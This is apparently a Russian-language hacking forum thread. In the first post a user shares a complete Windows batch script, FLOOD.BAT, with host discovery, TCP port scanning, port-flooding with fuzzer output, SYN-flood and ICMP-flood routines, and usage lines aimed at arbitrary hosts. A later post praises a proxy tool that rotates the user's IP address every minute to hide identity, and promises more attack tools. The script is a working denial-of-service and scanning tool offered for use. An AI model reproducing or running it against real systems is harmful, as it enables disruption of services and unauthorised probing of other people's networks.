Нужны компоненты pipesend.exe и phrase.exe, есть в nethack-suite-1.0

Код
@echo off

if "%1" == "--ping" goto Ping
if "%1" == "--ping2" goto Ping2
if "%1" == "--scan" goto Scan
if "%1" == "--scanall" goto Scanall
if "%1" == "--crashport" goto Crashport
if "%1" == "--crashall" goto Crashall
if "%1" == "--power" goto Power
if "%1" == "--syn" goto Syn
if "%1" == "--syncrash" goto Syncrash
if "%1" == "--icmp" goto Icmp

echo FLOOD.BAT: flood host with generator's garbage to ports 1-1024 or a given port
echo USAGE:
echo flood --ping 192.168.1                   find hosts on local net and shows their names and IP addresses
echo flood --ping2 192.168                    find hosts on local net level 2 and shows their names and IP addresses
echo flood --scan host                        scan open root tcp ports on given host
echo flood --scanall host                     scan all open tcp ports on given host
echo flood --crashport phrase.exe 80 host1... host6     flood port 80 on set of hosts with fuzzer phrase.exe
echo flood --crashall phrase.exe host1... host6         flood ports 1-1024 with phrase.exe generator
echo flood --power host port                  run power attack to host:port with 3 crashing port windows
echo flood --syn host port                    run synflood attack to host:port with 100 crashing united windows
echo flood --icmp host                        run icmpflood attack to host with 100 crashing united windows
goto exit_me

:Power
for %%n in (1, 1, 3) do start /B flood.bat --crashport phrase.exe %3 %2
goto exit_me

:Syn
for %%n in (1, 1, 100) do start /B flood.bat --syncrash %2 %3
goto exit_me

:Syncrash
echo A|pipesend %2 %3
goto Syncrash

:Icmp
for %%n in (1, 1, 100) do start /B ping -t %2
goto exit_me

:Crashport

if not "%4" == "" call :Sendphrase %2 %4 %3
if not "%5" == "" call :Sendphrase %2 %5 %3
if not "%6" == "" call :Sendphrase %2 %6 %3
if not "%7" == "" call :Sendphrase %2 %7 %3
if not "%8" == "" call :Sendphrase %2 %8 %3
if not "%9" == "" call :Sendphrase %2 %9 %3

goto Crashport

:Crashall

for /L %%P in (1, 1, 1024) do (

if not "%3" == "" call :Sendphrase %2 %3 %%P
if not "%4" == "" call :Sendphrase %2 %4 %%P
if not "%5" == "" call :Sendphrase %2 %5 %%P
if not "%6" == "" call :Sendphrase %2 %6 %%P
if not "%7" == "" call :Sendphrase %2 %7 %%P
if not "%8" == "" call :Sendphrase %2 %8 %%P
if not "%9" == "" call :Sendphrase %2 %9 %%P
)
goto Crashall

:Ping
for /L %%Q in (0, 1, 255) do (
    ping -n 1 -w 20 %2.%%Q | find "TTL" >_1_%2%%Q
    if not errorlevel 1 nslookup %2.%%Q
    del _1_%2%%Q
)
goto exit_me

:Ping2
for /L %%Q in (0, 1, 255) do (
    for /L %%R in (0, 1, 255) do (
  ping -n 1 -w 20 %2.%%Q.%%R | find "TTL" >_1_%2.%%Q%%R
  if not errorlevel 1 nslookup %2.%%Q.%%R
  del _1_%2.%%Q%%R
    )
)
goto exit_me

:Scan
for /L %%Q in (1, 1, 1024) do (
    echo GET|pipesend %2 %%Q | find "ok" >_1_%2%%Q
    if not errorlevel 1 echo %%Q open tcp
    del _1_%2%%Q
)
goto exit_me

:Scanall
for /L %%Q in (1, 1, 65535) do (
    echo GET|pipesend %2 %%Q | find "ok" >_1_%2.%%Q
    if not errorlevel 1 echo %%Q open tcp
    del _1_%2.%%Q
)
goto exit_me

:Sendphrase
echo Crash %2 %3 unicode
for /l %%m in (1, 1, 23) do start /b %1|pipesend %2 %3
echo Crash %2 %3 ascii
for /l %%m in (1, 1, 23) do start /b %1 -a|pipesend %2 %3
timeout /t 3
exit /b
  
:exit_me



Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
Сообщение отредактировал(а) Talomir - Вторник, 06.08.2024, 19:42
Статус: нет меня
 
Talomir #435 | Воскресенье, 11.08.2024, 06:49
Автор темы
Повелитель буйных
Поступившие в отделение
Юзер-бар +
LOGPROXY ЛУЧШЕ ЧЕМ TOR BROWSER

Поюзал два дня Tor Browser, и вернулся к logproxy. Последний - лучше, ждать приходится и там и там, но в tor browser приходится сидеть парализованным пока соединиться, а в logproxy можно смотреть в окно с пробуемыми проксями пока не побегут байты обмена по протоколу HTTPS или HTTP. Так лучше, не фрустирует.

Окончательно удалил с компьютера Tor Browser когда не смог настроить беспарольное соединение с каналом. Настройки неудобные, не документированные, вешают браузер при ошибке в конфиге. Посидел несколько часов, не добился своего и удалил этот инвалид-софт....

Последнюю версию logproxy со сменой IP hаз в минуту выложу следующим постом, там же обновлённые food.exe, flood.bat, pipesend, hacker4 и rewriter studio, из того, что легко запомнить....!



Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
Сообщение отредактировал(а) Talomir - Воскресенье, 11.08.2024, 06:50
Статус: нет меня
 
Поиск:

[ Новые сообщения на форуме ]



Форма входа